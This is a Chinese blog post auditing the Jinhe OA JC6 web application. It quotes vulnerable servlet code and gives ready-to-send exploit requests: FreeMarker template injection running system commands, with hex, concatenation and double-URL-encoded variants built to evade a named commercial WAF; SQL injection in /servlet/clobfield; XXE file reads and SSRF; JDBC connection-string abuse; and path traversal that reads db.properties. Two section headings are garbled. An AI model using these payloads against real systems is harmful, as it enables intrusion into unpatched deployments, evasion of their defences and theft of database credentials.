金和AO-JC6 - 代码审计

Alanni
2026-07-20 / 0 评论 / 7 阅读 / 正在检测是否收录...

一、FreeMarker SSTI模板注入

FreeMarker 是一款 模板引擎: 即一种基于模板和要改变的数据, 并用来生成输出文本(HTML网页,电子邮件,配置文件,源代码等)的通用工具。 它不是面向最终用户的,而是一个Java类库,是一款程序员可以嵌入他们所开发产品的组件。

模板编写为FreeMarker Template Language (FTL)。它是简单的,专用的语言, 不是 像PHP那样成熟的编程语言。 那就意味着要准备数据在真实编程语言中来显示,比如数据库查询和业务运算, 之后模板显示已经准备好的数据。在模板中,你可以专注于如何展现数据, 而在模板之外可以专注于要展示什么数据。

这种方式通常被称为 MVC (模型 视图 控制器) 模式,对于动态网页来说,是一种特别流行的模式。 它帮助从开发人员(Java 程序员)中分离出网页设计师(HTML设计师)。设计师无需面对模板中的复杂逻辑, 在没有程序员来修改或重新编译代码时,也可以修改页面的样式。

其实FreeMarker的原理就是:模板+数据模型=输出

关键代码如下:

public String viewConTemplate() {
        FileOutputStream out = null;


        try {
            String sameName = this.uuid + ".ftl";
            File file = new File(PortalTemplateUtil.TEMPLATE_TEMP_DIR);

            if (!file.exists()) {
                file.mkdirs();
            }
            out = new FileOutputStream(PortalTemplateUtil.TEMPLATE_TEMP_DIR + File.separator + sameName);
            String code = this.request.getParameter("code");
            code = URLDecoder.decode(code, "UTF-8");
            code = code.replaceAll("&lt;", "<").replaceAll("&quot;", "\"").replaceAll("&#39;", "'").replaceAll("&gt;", ">").replaceAll("&nbsp;", " ").replaceAll("<br />", "").replaceAll("<p>", "").replaceAll("</p>", "").replaceAll("&amp;", "&");

            byte[] b = code.getBytes();
            out.write(b);
            out.flush();
            try {
                if (out != null) {
                    out.close();
                }
            } catch (IOException e) {
                e.printStackTrace();
            }


            Template template = FreemarkerConfiguration.getTemplateTemp().getTemplate(sameName);
            HttpServletResponse response = getResponse();
            response.setContentType("text/html;charset=UTF-8");
            response.setHeader("Cache-Control", "no-cache");
            response.setHeader("Expires", "0");
            response.setHeader("Pragma", "No-cache");
            PrintWriter pw = response.getWriter();
            Map<String, String> values = new HashMap<>();
            values.put("ctx", getCtx());
            template.process(values, pw);
        } catch (Exception e) {
            e.printStackTrace();
        } finally {
            try {
                if (out != null) {
                    out.close();
                }
            } catch (IOException e) {
                e.printStackTrace();
            }
        }

        return null;
    }

\x01、十六进制绕过WAF

查阅相关文档 FreeMarker 支持 十六进制 和 八进制 但是我没有成功复现 八进制。 十六进制绕过WAF 如下:

<clob>${"\x66\x72\x65\x65\x6d\x61\x72\x6b\x65\x72.template.utility.\x45\x78\x65\x63\x75\x74\x65"?new()("whoami")}</clob>

双重URL编码:

%253c%2563%256c%256f%2562%253e%2524%257b%2522%255c%2578%2536%2536%255c%2578%2537%2532%255c%2578%2536%2535%255c%2578%2536%2535%255c%2578%2536%2564%255c%2578%2536%2531%255c%2578%2537%2532%255c%2578%2536%2562%255c%2578%2536%2535%255c%2578%2537%2532%252e%2574%2565%256d%2570%256c%2561%2574%2565%252e%2575%2574%2569%256c%2569%2574%2579%252e%255c%2578%2534%2535%255c%2578%2537%2538%255c%2578%2536%2535%255c%2578%2536%2533%255c%2578%2537%2535%255c%2578%2537%2534%255c%2578%2536%2535%2522%253f%256e%2565%2577%2528%2529%2528%2522%2577%2568%256f%2561%256d%2569%2522%2529%257d%253c%252f%2563%256c%256f%2562%253e
PS: 如果全部编写为十六进制则会影响效果,这里以qax云堤为例。

mrsy9urn.png

如果使用默认的即可执行RCE。

mrsyaq3k.png

\xsp 拼接绕过WAF

常见的WAF,目前大多数都是匹配特征值进行判断,如果拆分拼接可以差不多绕过。

<clob>${("freem" + "arker" + ".template.utility.Exe" + "cute")?new()("whoami")}</clob>

双重URL编码:

%253c%2563%256c%256f%2562%253e%2524%257b%2528%2522%2566%2572%2565%2565%256d%2522%2520%252b%2520%2522%2561%2572%256b%2565%2572%2522%2520%252b%2520%2522%252e%2574%2565%256d%2570%256c%2561%2574%2565%252e%2575%2574%2569%256c%2569%2574%2579%252e%2545%2578%2565%2522%2520%252b%2520%2522%2563%2575%2574%2565%2522%2529%253f%256e%2565%2577%2528%2529%2528%2522%2577%2568%256f%2561%256d%2569%2522%2529%257d%253c%252f%2563%256c%256f%2562%253e

mrsyaw1u.png

二、/servlet/clobfield SQL注入

关键代码:

public class clobfield
        extends HttpServlet {
    public void service(HttpServletRequest req, HttpServletResponse res) throws ServletException, IOException {
        String sTablename = req.getParameter("sTablename");
        String sImgname = req.getParameter("sImgname");
        String sKeyname = req.getParameter("sKeyname");
        String sKeyvalue = req.getParameter("sKeyvalue");


        String strKey = req.getParameter("key");


        try {
            clobfield1 wd = new clobfield1();
            wd.sTablename = sTablename;
            wd.sImgname = sImgname;
            wd.sKeyname = sKeyname;
            wd.sKeyvalue = sKeyvalue;

            res.setContentType(GBTool.resEncode);
            PrintWriter out = res.getWriter();

            if (strKey.equals("readClob"))
                out.print(wd.readClob());
            if (strKey.equals("writeClob")) {
                BufferedReader in = new BufferedReader(new InputStreamReader((InputStream) req.getInputStream(), "UTF-8"));

                out.print(wd.writeClob(in));
            }

        } catch (Exception exception) {
        }
    }
}

还是接收指定参数,拼接SQL语句导致SQL注入。

PS: 其中 key 的值一定是 readClob
public String readClob() {
        String sRet = "";
        Connection conn = null;
        Statement stat = null;
        try {
            conn = this.jt.getDataSource().getConnection();
            stat = conn.createStatement();
            stat.execute("select " + this.sImgname + " from " + this.sTablename + " where " + this.sKeyname + "='" + this.sKeyvalue + "'");

            ResultSet rsreadclob = stat.getResultSet();

            if (rsreadclob.next()) {
                Clob myReadClob = rsreadclob.getClob(1);
                int iLen = 1;
                iLen = (int) myReadClob.length();
                sRet = myReadClob.getSubString(1L, iLen);
            }
            rsreadclob.close();
        } catch (Exception e) {
            sRet = e.getMessage();

            try {
                stat.close();
                conn.close();
            } catch (Exception ee) {
                stat = null;
                conn = null;
            }
        } finally {
            try {
                stat.close();
                conn.close();
            } catch (Exception ee) {
                stat = null;
                conn = null;
            }
        }
        return sRet;
    }
POST /jc6/servlet/clobfield HTTP/1.1
host:127.0.0.1
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1)

key=readClob&sImgname=filename&sTablename=FC_ATTACH&sKeyname=djbh&sKeyvalue=11%27%2F**%2Fand%2F**%2FCONVERT%28int%2C%40%40version%29%3D1%2F**%2Fand%2F**%2F%27%27%3D%27

三、PathFile XXE

3.1 入口代码

PathFile.java 的关键逻辑如下:

SAXReader reader = new SAXReader();
document = reader.read((InputStream)req.getInputStream());

问题在于:

  • SAXReader 使用的是默认配置
  • 没有看到任何类似下面的安全配置:
reader.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
reader.setFeature("http://xml.org/sax/features/external-general-entities", false);
reader.setFeature("http://xml.org/sax/features/external-parameter-entities", false);

也就是说,攻击者提交的 XML 中如果包含 DOCTYPE 和外部实体,解析器大概率会去处理。

3.2 数据流向

在 PathFile.java 中,XML 被解析后会交给 PathFile1.GetUrl():

PathFile1 pf = new PathFile1();
pf.document = document;
String realPath = req.getSession().getServletContext().getRealPath("/");
out.print(pf.GetUrl(realPath));

而在 PathFile1.java 中,第一个子节点会被取出来作为 path:

case 0:
    path = tmpValue;
    break;

第二个节点取出来做为文件类型,默认就为 file

case 1:
    strType = tmpValue;
    break;

第三个节点是否为当前工作目录(安装目录),默认是 jc6 目录下。

case 2:
    IsVir = tmpValue;
    break;

第四个节点就是样式。

case 3:
    displayType = tmpValue;
    break;

第五个节点以特定后缀筛选文件。

case 4:
    strFiles = tmpValue;
    break;
<root>
  <item></item>
  <item>file</item>
  <item>yes</item>
  <item>2</item>
  <item>jsp,jar</item>
</root>

随后进入:

File dir = new File(path);
if (!dir.exists())
    return "路径:" + path + " 不存在!";

这一点非常关键。

因为如果 path 是通过外部实体展开出来的文件内容,那么这些内容就有可能被拼接到返回信息中。

3.3 EXP

3.3.1 目录遍历

POST /jc6/servlet/PathFile?GetUrl HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36
Content-Type: application/xml

<root>
  <item>C:\</item>
  <item>file</item>
  <item>no</item>
  <item>list</item>
  <item>txt,xml,properties</item>
</root>

mrsyb9ym.png

3.3.2 文件读取

POST /jc6/servlet/PathFile?GetUrl HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36
Content-Type: application/xml

<?xml version="1.0"?>
<!DOCTYPE root [
  <!ENTITY xxe SYSTEM "file:///C:/Windows/win.ini">
]>
<root>
  <item>&xxe;</item>
  <item>file</item>
  <item>no</item>
  <item>list</item>
  <item>txt</item>
</root>

mrsybg2y.png

3.3.3 SSRF

POST /servlet/PathFile?GetUrl HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36
Content-Type: application/xml

<?xml version="1.0"?>
<!DOCTYPE root [
  <!ENTITY xxe SYSTEM "http://127.0.0.1:8080/">
]>
<root>
  <item>&xxe;</item>
  <item>file</item>
  <item>no</item>
  <item>list</item>
  <item>txt</item>
</root>

四、JDBC 反序列化

漏洞原理分析: JDBC-反序列化分析.md

关键代码:

public class uploaddoc
        extends HttpServlet {
    public void service(HttpServletRequest req, HttpServletResponse res) throws ServletException, IOException {
        String sTablename = "";
        String sKeyvalue = "";
        String sKeyvalue1 = "";
        String subPath = "";
        sTablename = req.getParameter("sTablename");


        sKeyvalue = req.getParameter("sKeyvalue");

        sKeyvalue1 = req.getParameter("sKeyvalue1");
        subPath = req.getParameter("subPath");
        subPath = Escape.unescape(subPath);


        String strKey = req.getParameter("key");

        res.setContentType(GBTool.resEncode);
        PrintWriter out = res.getWriter();


        String strConn = "";
        try {
            uploaddoc1 wd = new uploaddoc1();
            wd.sTablename = sTablename;
            wd.sKeyvalue = sKeyvalue;
            wd.sKeyvalue1 = sKeyvalue1;
            wd.subPath = subPath;

            if (strKey.equals("readimage")) {
                String realPath = req.getSession().getServletContext().getRealPath("/");
                out.print(wd.readimage(realPath));
            }
            if (strKey.equals("getTreeXml")) {
                strConn = req.getParameter("connectstring");
                out.print(wd.getTreeXml(strConn));
            }
        } catch (Exception exception) {
        }
    }

当 key 的值为 getTreeXml 则可触发 getTreeXml 。

public String getTreeXml(String strConn) {
        Connection tmpConn = null;
        Statement tmpStmt = null;
        Connection conn = null;
        Statement stat = null;
        ResultSet rs1 = null;

        StringBuffer sRet = new StringBuffer();
        String sCode = "";
        String sName = "";
        String sId = "";
        boolean bHaveId = true;
        int iCodeLen = 0;
        int iupLevel = 0;
        int icurLevel = 0;

        ArrayList<String> arrLevel = new ArrayList();

        this.sTablename = Escape.unescape(this.sTablename);

        try {
            if (!strConn.equals("")) {
                String[] arr = StringTools.split(strConn, ",");
                if (arr.length != 4) {
                    throw new IllegalArgumentException("数据库的连接串:" + strConn + "配置不正确! ");
                }

                Class.forName(arr[0]);
                tmpConn = DriverManager.getConnection(arr[1], arr[2], arr[3]);
                tmpStmt = tmpConn.createStatement();
                rs1 = tmpStmt.executeQuery(this.sTablename);
            } else {
                conn = this.jt.getDataSource().getConnection();
                stat = conn.createStatement();
                rs1 = stat.executeQuery(this.sTablename);
            }


            while (rs1.next()) {
                iupLevel = icurLevel;

                sCode = rs1.getString(1).trim();
                sName = rs1.getString(2).trim();
                if (bHaveId) {
                    try {
                        sId = rs1.getString(3).trim();
                    } catch (Exception e1) {
                        bHaveId = false;
                    }
                }
                iCodeLen = sCode.length();
                Integer o = new Integer(iCodeLen);

                if (arrLevel.size() == 0) {
                    arrLevel.add(o.toString());
                    icurLevel = 1;
                } else {

                    if (Integer.parseInt(arrLevel.get(arrLevel.size() - 1).toString(), 10) < iCodeLen) {
                        arrLevel.add(o.toString());
                    }

                    int tmp = getLevel(arrLevel, iCodeLen);
                    if (tmp == -1) {
                        continue;
                    }
                    icurLevel = tmp;

                    if (iupLevel < icurLevel) {
                        sRet.append(">");
                    } else {
                        sRet.append("/>");
                        for (int j = 0; j < iupLevel - icurLevel; j++) {
                            sRet.append("</TreeNode>");
                        }
                    }
                }

                sRet.append("<TreeNode text=\"" + sName + "\" ");
                if (bHaveId) {
                    sRet.append("code=\"" + sId + "\" ");
                }
            }

            if (!sRet.equals("")) {
                sRet.append("/>");
                for (int jj = 1; jj < icurLevel; jj++) {
                    sRet.append("</TreeNode>");

                }
            }

        } catch (Exception ex) {
            return ex.getMessage();
        } finally {
            try {
                rs1.close();
                stat.close();
                conn.close();
            } catch (Exception ew) {
                rs1 = null;
                stat = null;
                conn = null;
            }
            if (!strConn.equals("")) {
                try {
                    tmpStmt.close();
                } catch (Exception ew1) {
                    tmpStmt = null;
                }
                try {
                    tmpConn.close();
                } catch (Exception ew2) {
                    tmpConn = null;
                }
            }
        }


        return sRet.toString();
    }

其中的 arr[1], arr[2], arr[3] 为 strConn 可控参数。

五、oaplusrangedownloadfile 任意文件读取

代码:

@RequestMapping(value = {"/login/oaplusrangedownloadfile"}, method = {RequestMethod.GET})
public ModelAndView rangeDownloadFile(HttpServletRequest request, HttpServletResponse response) throws Exception {
    String filename = request.getParameter("filename");
    String path = request.getSession().getServletContext().getRealPath("/OAPlus/" + filename);
    File file = new File(path);
    ModelAndView mv = new ModelAndView("byteRangeViewRender");
    mv.addObject("file", file);
    mv.addObject("contentType", "application/octet-stream");
    return mv;
}

还是最基础的问题,拼接。

路由有个baseurl在 web.xml 里。
<servlet-mapping>
    <servlet-name>spring</servlet-name>
    <url-pattern>/JHSoft.WCF/*</url-pattern>
</servlet-mapping>

EXP

读取配置文件 db.properties 或 config.properties

GET /jc6/JHSoft.WCF/login/oaplusrangedownloadfile?filename=../WEB-INF/classes/db.properties HTTP/1.1
Host: localhost
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1)
Accept-Encoding: gzip, deflate
Accept: */*
Connection: close

mrsyd9lv.png

六、ActionDataSet XXE

路由:

<servlet-mapping>
    <servlet-name>ActionDataSet</servlet-name>
    <url-pattern>/servlet/ActionDataSet</url-pattern>
</servlet-mapping>
<servlet>
    <servlet-name>ActionDataSet</servlet-name>
    <servlet-class>cn.com.fcsoft.servlet.ActionDataSet</servlet-class>
</servlet>

代码:

直接使用 dom4j 的 SAXReader 解析用户可控 XML,且没有任何安全配置。

默认情况下(取决于 dom4j 和底层 SAX Parser 版本),SAXReader 可能允许解析外部实体。

public class ActionDataSet
        extends HttpServlet {
    public void doPost(HttpServletRequest req, HttpServletResponse res) throws IOException, ServletException {
        res.setContentType(GBTool.resEncode);
        PrintWriter out = res.getWriter();
        Document document = null;
        try {
            SAXReader reader = new SAXReader();
            try {
                document = reader.read((InputStream) req.getInputStream());
            } catch (Exception e) {
                System.out.println(e.getMessage());
            }
            out.print("数据集中的数据: " + document.asXML());
        } catch (Exception e) {
            e.printStackTrace();
        }
    }

EXP

POST /jc6/servlet/ActionDataSet HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36
Content-Type: application/xml

<?xml version="1.0"?>
<!DOCTYPE root [
<!ENTITY xxe SYSTEM "file:///C:/windows/win.ini">
]>
<root>&xxe;</root>
引用/参考

Java安全之freemarker 模板注入

0

评论 (0)

取消